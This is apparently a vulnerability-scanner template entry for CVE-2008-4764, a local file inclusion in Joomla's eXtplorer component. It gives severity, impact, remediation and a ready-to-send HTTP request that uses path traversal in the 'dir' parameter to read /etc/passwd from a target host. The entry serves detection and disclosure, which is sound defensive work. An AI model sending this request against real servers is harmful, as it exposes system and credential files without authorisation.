| Title | Joomla! <=2.0.0 RC2 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Attackers can read sensitive files on the server, potentially leading to information disclosure. |
| Remediation | Upgrade Joomla! to a version higher than 2.0.0 RC2 to mitigate the vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.01041 |
| CVE ID | CVE-2008-4764 |
| CWE ID | CWE-22 |
| Tags | cve cve2008 edb joomla lfi extplorer vuln |
Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
GET /index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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